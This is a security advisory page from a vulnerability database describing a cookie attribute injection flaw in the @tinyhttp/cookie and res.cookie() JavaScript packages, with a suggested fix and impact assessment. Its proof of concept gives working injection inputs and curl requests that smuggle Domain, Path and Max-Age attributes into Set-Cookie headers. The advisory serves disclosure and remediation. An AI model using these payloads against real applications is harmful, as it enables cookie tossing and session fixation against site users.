Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-33c3-cpvh-9537

GHSA-33c3-cpvh-9537: 
JavaScript vulnerability analysis and mitigation

Summary

@tinyhttp/cookie's serialize() checks the cookie name, path and domain against the RFC 7230 field-content rule, and that rule allows ";", "=" and spaces. When an application puts request data into any of these fields (directly or through res.cookie() in @tinyhttp/res / @tinyhttp/app), an attacker can add Set-Cookie attributes such as Domain, Path, Max-Age or Expires, or choose which cookie gets set. This is the same issue jshttp cookie fixed in 0.7.0 (CVE-2024-47764 / GHSA-pxg6-pf52-xh8x). Severity: Low, because the application has to pass untrusted input into one of these fields.

Details

packages/cookie/src/index.ts, serialize(): if (!fieldContentRegExp.test(name)) throw ... if (!fieldContentRegExp.test(opt.domain)) throw ... if (!fieldContentRegExp.test(opt.path)) throw ... fieldContentRegExp is /^[\u0009 -~\u0080-ÿ]+$/. That is the HTTP header field-content grammar, not the RFC 6265 grammar for a cookie name, domain or path. ";" passes, so the field's contents are written into the Set-Cookie header as extra attributes. res.cookie() in @tinyhttp/res calls cookie.serialize(name, val, opts) directly, so every tinyhttp app that uses res.cookie() is affected. Affected: @tinyhttp/cookie <= 2.1.1 (current), and res.cookie() in @tinyhttp/res <= 2.2.16 / @tinyhttp/app <= 3.0.14. Tested at master 22f80708. Suggested fix (same approach as jshttp cookie 0.7.0):

  • name: /^[!#$%&'*+-.^_`|~0-9A-Za-z]+$/ (RFC 7230 token)
  • domain: /^([.]?a-z0-9?)([.]a-z0-9?)*$/i
  • path: /^[ -:<-~]*$/ (any CHAR except CTLs and ";")
  • value: also reject ";" when a custom encode returns one I tested this patch locally: every PoC input below throws, and ordinary cookies (__Host- names, leading-dot domains, multi-label domains, nested paths) serialize exactly as before. Compatibility note: names containing characters outside the token set, such as spaces, will now throw, which is the same change jshttp made. I can send the diff or open a PR against the advisory's private fork, whichever you prefer.

Proof of concept

npm i @tinyhttp/app @tinyhttp/cookie // 1. Direct import { serialize } from '@tinyhttp/cookie' serialize('lang=en; Domain=attacker.example; Path=/; x', 'v') // -> 'lang=en; Domain=attacker.example; Path=/; x=v' serialize('pref', 'v', { path: '/; Domain=.example.com; SameSite=None' }) // -> 'pref=v; Path=/; Domain=.example.com; SameSite=None' serialize('pref', 'v', { domain: 'example.com; Path=/admin; Max-Age=999999999' }) // -> 'pref=v; Domain=example.com; Path=/admin; Max-Age=999999999' // 2. Through an app (route params are percent-decoded) import { App } from '@tinyhttp/app' const app = new App() app.get('/widgets/:id/collapse', (req, res) => { res.cookie(collapsed_${req.params.id}, '1', { httpOnly: true, secure: true, sameSite: 'lax' }) res.send('ok') }) app.get('/docs/*', (req, res) => { res.cookie('last_section', 'x', { path: decodeURIComponent(req.path) }) res.send('ok') }) app.listen(3000) curl -si 'http://localhost:3000/widgets/x%3D1%3B%20Domain%3Dexample.test%3B%20Max-Age%3D31536000%3B%20Path%3D%2F%3B%20y/collapse' | grep -i set-cookie // Set-Cookie: collapsed_x=1; Domain=example.test; Max-Age=31536000; Path=/; y=1; Path=/; HttpOnly; Secure; SameSite=Lax curl -si 'http://localhost:3000/docs/a%3B%20Domain%3Dexample.test%3B%20Max-Age%3D31536000' | grep -i set-cookie // Set-Cookie: last_section=x; Path=/docs/a; Domain=example.test; Max-Age=31536000 When these headers are stored with an RFC 6265 cookie jar (tough-cookie 5) for app.example.test, both cookies get a one-year lifetime and Domain=example.test, so they are also sent to other.example.test. jshttp cookie@1 rejects the same inputs ("argument name is invalid", "option path is invalid").

Impact

Cookie attribute injection (CWE-74). This affects applications that use @tinyhttp/cookie or res.cookie() and put request-derived data into the cookie name, path or domain. An attacker can:

  • widen a cookie to the parent domain, so sibling subdomains can read or overwrite it (cookie tossing);
  • make a session-only cookie persistent with Max-Age or Expires;
  • when the whole name is attacker-controlled, set a cookie of their choice, such as a fixed session identifier (session fixation). The attack can't remove HttpOnly or Secure. For a duplicated attribute, browsers use the last value, so attributes the developer sets after the injected ones still win. The victim has to load a crafted URL, and the application has to pass untrusted input into one of these fields, so severity is Low (CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N = 3.1). Please credit "David Justice, Justice Engineering". If you accept this, please request a CVE through this advisory.

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-6x2m-grfc-8m6fHIGH8.8
  • JavaScript logoJavaScript
  • vibe-kanban
NoYesNov 29, 2026
GHSA-4m8h-p24q-xx95HIGH7.5
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesNov 29, 2026
GHSA-9x64-fcmc-xf8xMEDIUM6.5
  • JavaScript logoJavaScript
  • karakeep
NoYesNov 29, 2026
GHSA-3wgf-gpx8-xj7gMEDIUM5.3
  • JavaScript logoJavaScript
  • mcp-sanitizer
NoYesNov 29, 2026
GHSA-33c3-cpvh-9537LOW3.1
  • JavaScript logoJavaScript
  • @tinyhttp/app
NoYesNov 29, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management